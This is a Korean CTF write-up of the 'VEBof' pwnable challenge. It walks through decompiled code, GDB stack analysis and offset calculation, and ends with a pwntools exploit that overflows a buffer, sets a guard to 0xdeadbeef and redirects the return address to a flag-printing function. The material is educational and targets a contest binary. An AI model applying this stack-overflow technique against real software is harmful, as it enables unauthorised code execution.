[Pwnable] VEBof - kcw0x466.exe

문제 정보#

출처: 2025 제4회 경남권 사이버보안 경진대회
분야: Pwnable
풀이 날짜: 2026. 07. 01

Environment#

Architecture : x86-64
OS : Linux
Debugger : GDB + pwndbg
Decompiler: BinaryNinja
Exploit : Python + pwntools

1. 함수 분석#

먼저 디컴파일을 통해 주요 함수의 흐름을 파악한다.

main() 함수 분석#

1
int32_t main(int32_t argc, char** argv, char** envp)
2
{
3
        int32_t argc_1 = argc;
4
        char** argv_1 = argv;
5
        initialize();
6
        void var_118;
7
        __builtin_memset(&var_118, 0, 0x100);
8
        void buf;
9
        __builtin_memset(&buf, 0, 0x100);
10
        int32_t var_21c = 0;
11
        void (* var_10)() = tictoc;
12
        puts("So, How much data do you want to input?");
13
        __isoc99_scanf("%d", &var_21c);
14
        puts("Let's input data!");
15
        read(0, &buf, (uint64_t)var_21c); // 버퍼 오버플로우 발생하는 부분
16

17
        if (var_10 == 0xdeadbeef)
18
            return 0;
19

20
        puts("Nah...");
21
        exit(0xffffffff);
22
        /* no return */
23
}

입력할 데이터 사이즈와 데이터를 입력받음
if조건을 만족하면 retrurn을하고 만족못하면 exit로 프로그램을 종료함

=> 버퍼 오버플로우를 이용하여 if 조건을 만족시키고 Retrun Address를 수정해야함

printflag() 함수 분석#

1
int64_t printflag()
2
{
3
        int64_t var_1008;
4
        int64_t var_1008_1 = var_1008;
5
        FILE* fp = fopen("./flag", "r");
6

7
        if (!fp)
8
        {
9
            perror("fopen");
10
          return 1;
11
        }
12

13
        setvbuf(stdout, nullptr, 2, 0);
14
        uint64_t rax_1;
15
        uint64_t count;
16

17
        do
18
        {
19
            void buf;
20
            count = fread(&buf, 1, 0x1000, fp);
21

22
            if (!count)
23
            {
24
                fclose(fp);
25
                printf("Flag : %s\n", &buf);
26
                return 0;
27
            }
28

29
            rax_1 = fwrite(&buf, 1, count, stdout);
30
        } while (count == rax_1);
31
        perror("fwrite");
32
        fclose(fp);
33
        return 1;
34
}

./flag 파일의 데이터를 출력하는 함수

2. Stack Frame 분석#

주요 함수 Address 확인한다.

1
p <함수명>

함수명	Address
`main`	`0x40145e`
`printflag`	`0x4012ff`

어셈블리를 확인한다.

1
disas main

main 함수에 입력함수 직전에 브레이크를 걸고 데이터를 입력할때 까지 한 줄씩 코드 실행

1
// breakpoint 설정 및 실행
2
b *0x4014ea
3
r

1
ni // 한 줄씩 코드 실행

100 입력

aaaaaaaaaaaaaaaaaaaaaa... 입력

스택을 확인한다.

1
stack 80

지역변수들의 위치를 확인한다.

변수	Address (rbp 기준)	value
`buf`	`rbp-0x210`	`aaaaaaaaaaaaaaaaaaaa.`
`var_10`	`rbp-0x8`	`0x4012b6 (tictoc)`
Return Address	`rbp+0x8`	`0x7ffff7db6d90 (__libc_start_call_main+128)`

이를 통해 rbp-0x210 ~ rbp+0x8 영역까지 버퍼 오버플로우를 시도하여 var_10과 Retrun Address의 값을 변경해야한다는걸 알수있다.

var_10: 0x4012b6 -> 0xdeadbeef
Return Address: 0x7ffff7db6d90 -> 0x0000004012ff

3. Offset 계산#

buf부터 var_10까지

1
0x210 - 0x8 = 0x208

buf부터 Return Address까지

1
0x210 + 0x8 = 0x218

정리

1
buf ~ var_10 = 0x208 bytes
2

3
buf ~ Return Address = 0x218 bytes

4. Exploit 코드 작성#

1
from pwn import *
2

3
context.binary = ELF("./chal")
4
context.arch = "amd64"
5

6
p = process("./chal")
7

8
# 주소
9
PRINTFLAG = 0x4012ff
10
DEADBEEF = 0xdeadbeef
11

12
# 1번째 입력 (정수)
13
p.sendline(b"600")
14

15
# 2번째 입력 (버퍼 오버플로우)
16
payload  = b"A" * 0x208          # buf ~ var_10
17
payload += p64(DEADBEEF)         # var_10 = 0xdeadbeef
18
payload += b"B" * 8              # saved rbp
19
payload += p64(PRINTFLAG)        # Return Address overwrite
20

21
p.sendline(payload)
22

23
p.interactive()

5. 실행#

1
python3 exploit.py

exploit 코드를 실행시키면 flag(임의로 작성한 플래그, 실제 대회때 플래그 아님)가 출력되는걸 확인할수있다.